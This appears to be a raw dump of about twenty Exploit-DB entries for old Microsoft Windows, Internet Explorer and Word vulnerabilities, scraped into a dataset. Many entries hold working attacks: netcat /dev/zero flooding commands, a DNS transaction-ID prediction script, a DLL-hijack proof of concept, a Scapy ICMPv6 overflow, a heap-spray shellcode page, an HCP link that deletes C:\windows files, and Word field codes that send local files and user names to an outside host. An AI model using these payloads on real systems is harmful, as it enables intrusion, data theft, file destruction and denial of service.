deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20048
Description: Microsoft Windows Server 2000 - Remote CPU-overload
Type: remote
Platform: windows
Date: 2000-06-30
Author: SecureXpert Labs

Exploit:
source: https://www.securityfocus.com/bid/1415/info

Sending a stream of binary zeros to any one of a number of Windows 2000 ports can cause 100% CPU utilization. The ports that were found vulnerable include TCP ports 7, 9, 21, 23, 7778 and UDP ports 53, 67, 68, 135, 137, 500, 1812, 1813, 2535, 3456. 

This can easily be reproduced from a Linux system using netcat with an input of /dev/zero, with a command such as "nc target.host 7 < /dev/zero" for the TCP variant or "nc -u target.host 53 < /dev/zero" for the UDP variant.
Exploit-DB #30635
Description: Microsoft Windows Server 2000/2003 - Recursive DNS Spoofing (1)
Type: remote
Platform: windows
Date: 2007-11-13
Author: Alla Berzroutchko

Exploit:
source: https://www.securityfocus.com/bid/25919/info

Microsoft Windows DNS Server is prone to a vulnerability that permits an attacker to spoof responses to DNS requests.

A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing. 

$TRXID=$ARGV[0];
$zero=$TRXID>>14;
if ($zero!=0)
{
	print "Highest two bits are not 0.\n";
print "Is this really Windows DNS server? check endian issues!\n";
	exit(0);
}
$M=($TRXID>>11) & 7;
$C=($TRXID>>3) & 0xFF;
$L=$TRXID & 7;
if (($C % 8)!=7)
{
	print "C mod 8 is not 7 - can't predict next TRXID.\n";
print "Wait for C mod 8 to become 7\n";
	exit(0);
}

print "Next TRXID is one of the following 8 values:\n";
for ($m=0;$m<8;$m++)
{
	print "".(($m<<11)|((($C+1) % 256)<<3))." ";
}
print "\n";
Exploit-DB #46220
Description: Microsoft Windows VCF or Contact' File - URL Manipulation-Spoof Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2019-01-22
Author: Eduardo Braun Prado

Exploit:
# Exploit Title:  Microsoft Windows 'VCF' or 'Contact' File URL Manipulation-Spoof Arbitrary Code Execution Vulnerability -- Remote Vector

# Google Dork: N/A

# Date: January, 21 2019

# Exploit Author:  Eduardo Braun Prado

# Vendor Homepage: http://www.microsoft.com/

# Software Link: http://www.microsoft.com/

# Version: Windows 7 SP1, 8.1, 10 v.1809 with full patches up to January 2019. both x86 and x64 architectures.

# Tested on: Windows 7 SP1, 8.1, 10 v.1809 with full patches up to January 2019. both x86 and x64 architectures.

# CVE : n/a


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46220.zip
Exploit-DB #34931
Description: Microsoft Windows Vista - 'lpksetup.exe oci.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-10-25
Author: Tyler Borland

Exploit:
// source: https://www.securityfocus.com/bid/44414/info

Microsoft Windows 'lpksetup.exe' is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 

/*
Exploit:       Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking
Vulnerability
Extension:  .mlc
Author:       Tyler Borland (tborland1@gmail.com)
Date:          10/20/2010
Tested on:  Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and
Windows 7 Enterprise should be vulnerable as well)
Effect:        Remote Code Execution

lpksetup is the language pack installer that is included by default with
Windows Vista/7 Ultimate or Enterprise editions.  By opening a .mlc file
through something like an open SMB or WebDav share, the oci.dll file will be
grabbed and ran in the context of the vulnerable application.

This is a LoadLibrary() load path bug.  The load library search order is:
   1. The directory from which the application loaded
   2. 32-bit System directory (Windows\System32)
   3. 16-bit System directory (Windows\System)
   4. Windows directory (Windows)
   5. Current working directory
   6. Directories in the PATH environment variable
As OracleOciLib is not used on target system, oci.dll does not exist, so if
a full path is not supplied when calling the dll or the search path has not
been cleared before the call, we will hit our fifth search path and load the
library from the remote filesystem.

Interestingly enough, while lpksetup is blocked for execution by UAC under a
normal user, the injected library (payload) will still execute.
Exploiters make sure your system's security policy, secpol.msc, allows
complete anonymous share access for connecting users.
Outlook links seem to be the current exploit toyland, other vectors:
http://www.binaryplanting.com/attackVectors.htm
*/

#include <windows.h>

int main()
{
  WinExec("calc", SW_NORMAL);  // the typical non-lethal PoC
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  main();
  return 0;
}

/* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */
Exploit-DB #29771
Description: Microsoft Windows Vista - Windows Mail Local File Execution
Type: remote
Platform: windows
Date: 2007-03-23
Author: kingcope

Exploit:
source: https://www.securityfocus.com/bid/23103/info

Microsoft Windows Vista Windows Mail is prone to a local file-execution vulnerability due to a design error.

An attackers may exploit this issue to execute local files. The attacker must entice a victim into opening a maliciously crafted link using the affected application.

The vendor reports this issue can also be exploited through use of UNC navigation to execute arbitrary remote code. This may facilitate a remote compromise of the affected computer. 

Content-Type: text/html\r\n\r\n<a href=\"c:/windows/system32/winrm?\">Click here!</a>
Exploit-DB #33594
Description: Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution
Type: remote
Platform: windows
Date: 2010-02-09
Author: Sumit Gwalani

Exploit:
source: https://www.securityfocus.com/bid/38061/info

Microsoft Windows TCP/IP protocol implementation is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful attacks will completely compromise affected computers. Failed exploit attempts will likely result in denial-of-service conditions. 


v6_dst = "<IPv6 address>"

mac_dst = "<Mac address>"

pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)

l=fragment6(pkt, 1500)

for p in l:
sendp(Ether(dst=mac_dst)/p, iface="eth0")
Exploit-DB #3635
Description: Microsoft Windows XP - Animated Cursor '.ani' Remote Overflow (2)
Type: remote
Platform: windows
Date: 2007-04-01
Author: Trirat Puttaraksa

Exploit:
Microsoft ANI Buffer Overflow Exploit

Author: Trirat Puttaraksa
http://sf-freedom.blogspot.com

Tested on: Windows XP SP2 fully patched + IE 6 SP2

For educational purpose only

There are many confuses about this vulnerability. Someone said that this could
not be exploited in XP SP2 - that's wrong. I provide this exploit because I 
wanna to tell these people that they are in danger. 
This exploit will call calc.exe (shellcode fome metasploit win32_exec 
CMD=calc.exe EXITFUNC=process).

P.S. I do not include the source code for generate the .ani file because of
its damage. However, if you reverse engineer .ani file, you will know how
could I produce this exploit in 10 minutes.

I will describe this vulnerability and how to exploit it in my blog 
after M$ released patch.

greets: used SkyLined's idea of exploitation.  tnx to him.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3635.zip (04012007-ani.zip)

# milw0rm.com [2007-04-01]
Exploit-DB #21717
Description: Microsoft Windows XP - HCP URI Handler Abuse
Type: remote
Platform: windows
Date: 2002-08-15
Author: Shane Hird

Exploit:
source: https://www.securityfocus.com/bid/5478/info

Microsoft Internet Explorer on Windows XP comes equipped with a protocol handler for the 'Help and Support Center' application. The protocol handler may be specified in links, and when such a link is submitted by the browser, the Help and Control Center will load an appropriate page. However, it has been demonstrated that this behavior may be abused.

The browser runs requests to the HCP URI handler with relaxed Security Zone restrictions. One of the Help and Support Center application files (uplddrvinfo.htm) contains an ActiveX control which may be used to delete local files. Since the ActiveX control accepts filenames from the HCP URIs, it is possible for an attacker to abuse this situation via a malicious link. Because the browser runs the HCP request with relaxed restrictions, the user is not prompted when the ActiveX control is executed. However, it has been reported that a window with a "Get Help With Your Hardware Device" dialog is displayed when uplddrvinfo.htm is invoked, and that the utility will follow through with the commands if the user closes this window.

A number of other files are included in the Help and Support Center application which may also be used by a remote attacker to perform various actions on the client system via a maliciously constructed HCP URI.

By using the 'hcp:' protocol, it's possible to launch this from a link. The
filename can also include wild cards. Thus, the following link will delete
all files in the 'C:\windows\' directory when the launched window is closed.
(normal file permissions still apply as usual). Sub-directories are not
deleted.

hcp://system/DFS/uplddrvinfo.htm?file://c:\windows\*
Exploit-DB #23675
Description: Microsoft Windows XP - HCP URI Handler Arbitrary Command Execution
Type: remote
Platform: windows
Date: 2004-02-09
Author: Bartosz Kwitkowski

Exploit:
source: https://www.securityfocus.com/bid/9621/info

The Microsoft Windows XP HCP URI handler has been reported prone to a vulnerability that may provide for arbitrary command execution. The issue is reported to present itself when a specially formatted HCP URI that references a local resource is processed. A remote attacker may exploit this issue to have arbitrary commands executed in the context of the user who followed the link.

This issue has been reported to be present in Polish versions of Windows XP SP1; other versions may also be vulnerable.

hcp://services/layout/contentonly?topic=...

where ... is a correct URL

http:// for page
file:/// for run (remember use / (slash) in path e.g. c:/windows/system32/...

The following additional example vectors have been supplied:
hcp://services/layout/fullwindow?topic=
hcp://services/centers/support?topic=

Additional proof-of-concepts were provided in the "IE ms-its: and mk:@MSITStore: vulnerability" BugTraq post by Roozbeh Afrasiabi.
Exploit-DB #23717
Description: Microsoft Windows XP - Help and Support Center Interface Spoofing
Type: remote
Platform: windows
Date: 2004-02-17
Author: Bartosz Kwitkowski

Exploit:
source: https://www.securityfocus.com/bid/9685/info

A weakness has been alleged in Microsoft Windows XP that could reportedly allow aspects of the Help and Support Center interface to be spoofed via a malicious link. By spoofing this interface, an attacker could potentially present misleading or hostile content to a user in a manner which may cause the user to trust it. 

Symantec has not been able to reproduce this alleged weakness.

hcp://system/errors/Connection.htm?online_url=http://wb.pl/bartosz/hcp/screen2.jpg&topic_title=Windows Update&topic_intro=Please click below to check your system&offline_url=c:/
Exploit-DB #24125
Description: Microsoft Windows XP - Self-Executing Folder
Type: remote
Platform: windows
Date: 2004-05-17
Author: Roozbeh Afrasiabi

Exploit:
source: https://www.securityfocus.com/bid/10363/info

A vulnerability has been reported in Microsoft Windows XP that may cause malicious code to run in the context of the currently logged-in user. The flaw exists in Windows Explorer and may allow executable content that is referenced from inside a folder to run automatically when the folder is accessed. 

This vulnerability poses a security risk since users assume that opening a folder is a safe action and that executable content cannot be run when a folder is accessed. Additionally, attackers may be able to exploit this issue remotely if the malicious folder is accessed from an SMB share. 

The reporter of this issue has provided a proof-of-concept exploit that executes NetMeeting and installs a keylogger on a vulnerable system.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24125.zip
Exploit-DB #23093
Description: Microsoft Windows XP - TCP Packet Information Leakage
Type: remote
Platform: windows
Date: 2003-09-02
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/8531/info

A vulnerability has been discovered in Microsoft Windows XP that could result in the contents of memory being disclosed within some TCP packets. The problem specifically occurs within some SYN packets transmitted by Windows XP, which may not have correctly zeroed out URG flags. These flags may in fact contain data leaked from previously used memory. By continuously observing these abnormal SYN packets, it may be possible for an attacker to obtain sensitive information. 

<Tue Sep 2 13:02:48 2003> A:3827 - Windows XP (2) (PLEASE REPORT!) [GENERIC]
Signature: [16384:119:1:48:M1460,N,N,S:U:Windows:?]
-> server:80 (distance 9, link: ethernet/modem)
-- EXTRA TCP VALUES: ACK=0x0, UNUSED=0, URG=0x819e

<Tue Sep 2 13:02:48 2003> A:3829 - Windows XP (2) (PLEASE REPORT!) [GENERIC]
Signature: [16384:119:1:48:M1460,N,N,S:U:Windows:?]
-> server:80 (distance 9, link: ethernet/modem)
-- EXTRA TCP VALUES: ACK=0x0, UNUSED=0, URG=0xdc19

<Tue Sep 2 13:02:49 2003> A:3830 - Windows XP (2) (PLEASE REPORT!) [GENERIC]
Signature: [16384:119:1:48:M1460,N,N,S:U:Windows:?]
-> server:80 (distance 9, link: ethernet/modem)
-- EXTRA TCP VALUES: ACK=0x0, UNUSED=0, URG=0x8158

<Tue Sep 2 13:02:49 2003> A:3833 - Windows XP (2) (PLEASE REPORT!) [GENERIC]
Signature: [16384:119:1:48:M1460,N,N,S:U:Windows:?]
-> server:80 (distance 9, link: ethernet/modem)
-- EXTRA TCP VALUES: ACK=0x0, UNUSED=0, URG=0x8158
Exploit-DB #33750
Description: Microsoft Windows XP/2000 - Help File Relative Path Remote Command Execution
Type: remote
Platform: windows
Date: 2010-03-06
Author: Secumania

Exploit:
source: https://www.securityfocus.com/bid/38661/info

Microsoft Windows is prone to a remote command-execution vulnerability because it opens help files from unsafe locations.

An attacker could exploit this issue by enticing a victim to load help files when working in a directory containing crafted '.chm' files.

Windows 2000 and XP are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33750.zip
Exploit-DB #25050
Description: Microsoft Windows XP/2000/2003 - 'winhlp32' Phrase Heap Overflow
Type: remote
Platform: windows
Date: 2004-12-23
Author: flashsky fangxing

Exploit:
source: https://www.securityfocus.com/bid/12092/info

Microsoft Windows is prone to a heap-based buffer overflow vulnerability. This issue exists in 'winhlp32.exe' and is exposed when a malformed phrase compressed Windows Help file (.hlp) is processed by the program.

Successful exploitation may allow execution of arbitrary code in the context of the user that opens the malicious Help file. The Help file may originate from an external or untrusted source, so this vulnerability is considered remote in nature. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25050.gz
Exploit-DB #25049
Description: Microsoft Windows XP/2000/2003 - 'winhlp32' Phrase Integer Overflow
Type: remote
Platform: windows
Date: 2004-12-23
Author: flashsky fangxing

Exploit:
source: https://www.securityfocus.com/bid/12091/info

Microsoft Windows is prone to an integer overflow vulnerability. This issue exists in 'winhlp32.exe' and is exposed when a malformed phrase compressed Windows Help file (.hlp) is processed by the program.

Successful exploitation may allow execution of arbitrary code in the context of the user that opens the malicious Help file. The Help file may originate from an external or untrusted source, so this vulnerability is considered remote in nature. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25049.gz
Exploit-DB #22824
Description: Microsoft Windows XP/2000/NT 4.0 - HTML Converter HR Align Buffer Overflow
Type: remote
Platform: windows
Date: 2003-06-23
Author: Digital Scream

Exploit:
source: https://www.securityfocus.com/bid/8016/info

Microsoft Windows platforms are prone to a boundary condition error in the HTML converter. If the 'Align' attribute of the 'HR' tag is given an excessively large value, an internal buffer will be overrun. This issue can be exploited via applications which use the HTML converter (such as Internet Explorer) and will permit arbitrary code to be executed on a vulnerable system.

<script>
wnd=open("about:blank","","");
wnd.moveTo(screen.Width,screen.Height);
WndDoc=wnd.document;
WndDoc.open();
WndDoc.clear();
buffer="";
for(i=1;i<=127;i++)buffer+="X";
buffer+="DigitalScream";
WndDoc.write("<HR align='"+buffer+"'>");
WndDoc.execCommand("SelectAll");
WndDoc.execCommand("Copy");
wnd.close();
</script>
Exploit-DB #22194
Description: Microsoft Windows XP/2000/NT 4.0 - Locator Service Buffer Overflow
Type: remote
Platform: windows
Date: 2003-01-22
Author: David Litchfield

Exploit:
source: https://www.securityfocus.com/bid/6666/info

It has been reported that the Microsoft Windows Locator service is affected by a remotely exploitable buffer overflow vulnerability. The condition is due to a memory copy of RPC arguments received from remote clients into a local buffer.

This vulnerability may be exploited by remote attackers to execute custom instructions on the target server. It is also possible to crash the service with a malicious request. It should be noted that, to exploit this vulnerability, no authentication is required. Additionally, the Locator service is enabled by default on all Windows 2000 and Windows NT Domain Controllers (DC).

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22194.zip
Exploit-DB #3634
Description: Microsoft Windows XP/Vista - Animated Cursor '.ani' Remote Overflow
Type: remote
Platform: windows
Date: 2007-04-01
Author: jamikazu

Exploit:
..::[ jamikazu presents ]::..

Windows Animated Cursor Handling Exploit (0day)

Works on fully patched Windows Vista
I think it is first real remote code execution exploit on vista =)

Tested on:
Windows Vista Enterprise Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows Vista Ultimate Version 6.0 (Build 6000) (default installation and UAC enabled)
Windows XP SP2 
(It also must to work on all nt based windows but not tested)

Author: jamikazu 
Mail: jamikazu@gmail.com

Bug discovered by determina (http://www.determina.com)

Credit: milw0rm,metasploit, SkyLined, http://doctus.net/

invokes calc.exe if successful 


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3634.zip (04012007-Animated_Cursor_Exploit.zip)

# milw0rm.com [2007-04-01]
Exploit-DB #15809
Description: Microsoft WMITools - ActiveX Remote Command Execution
Type: remote
Platform: windows
Date: 2010-12-22
Author: WooYun

Exploit:
Exploit-DB Notes:
Original credit goes to "牛奶坦克" via WooYun:
http://www.wooyun.org/bugs/wooyun-2010-01006

<html>

<object classid="clsid:2745E5F5-D234-11D0-847A-00C04FD7BB08" id="target"></object>



<SCRIPT language="JavaScript">

//run calc.exe

var shellcode = unescape("%uc92b%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u0c13%u452b%u83df%ufceb%uf4e2%uc3f0%udf01%u2b0c%u9ace%ua030%uda39%u2a74%u54aa%u3343%u80ce%u2a2c%u96ae%u1f87%udece%u1ae2%u4685%uafa0%uab85%uea0b%ud28f%ue90d%u2bae%u7f37%udb61%uce79%u80ce%u2a28%ub9ae%u2787%u540e%u3753%u3444%u3787%udece%ua2e7%ufb19%ue808%u1f74%ua068%uef05%ueb89%ud33d%u6b87%u5449%u377c%u54e8%u2364%ud6ae%uab87%udff5%u2b0c%ub7ce%u7430%u2974%u7d6c%u27cc%ueb8f%u8f3e%udb64%udbcf%u4353%u21dd%u2586%u2012%u48eb%ub324%u2b6f%udf45%u0000");



//先喷好堆

var bigblock = unescape("%u0C0C%u0C0C");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<350; x++) memory[x] = block +shellcode;



//让程序直接call过去

target.AddContextRef(0x0c0c0c0c);

</script>

</html>
Exploit-DB #29524
Description: Microsoft Word 2000 - Malformed Function Code Execution
Type: remote
Platform: windows
Date: 2007-01-25
Author: Symantec

Exploit:
source: https://www.securityfocus.com/bid/22225/info

Microsoft Word 2000 is prone to a remote code-execution vulnerability.

Microsoft Word 2000 is confirmed vulnerable to a remote code-execution issue. Exploit attempts against Word 2003/XP will consume all CPU resources and will cause a denial of service for legitimate users.

Note that this issue is distinct from issues described in BID 21589 (Microsoft Word Code Execution Vulnerability), BID 21451 (Microsoft Word Malformed String Remote Code Execution Vulnerability), and BID 21518 (Microsoft Word Malformed Data Structures Code Execution Vulnerability). 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29524.doc
Exploit-DB #21812
Description: Microsoft Word 95/97/98/2000/2002 - 'INCLUDEPICTURE' Document Sharing File Disclosure
Type: remote
Platform: windows
Date: 2002-09-20
Author: Richard Edwards

Exploit:
source: https://www.securityfocus.com/bid/5764/info

The INCLUDEPICTURE Field Code may be used to insert arbitrary URLs into a document. The INCLUDEPICTURE Field Code is reported to, under some circumstances, present a security threat.

If the INCLUDEPICTURE Field Code is included in a document and references a URL, it may be possible for the attacker to obtain contents of files on the victim user's system. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.

An attacker can potentially exploit this vulnerability to obtain the contents of files residing on a victim user's system. 

{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d }

{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { USERNAME } & { USERADDRESS } } \d }

(The curly braces above represent Microsoft Word field braces.)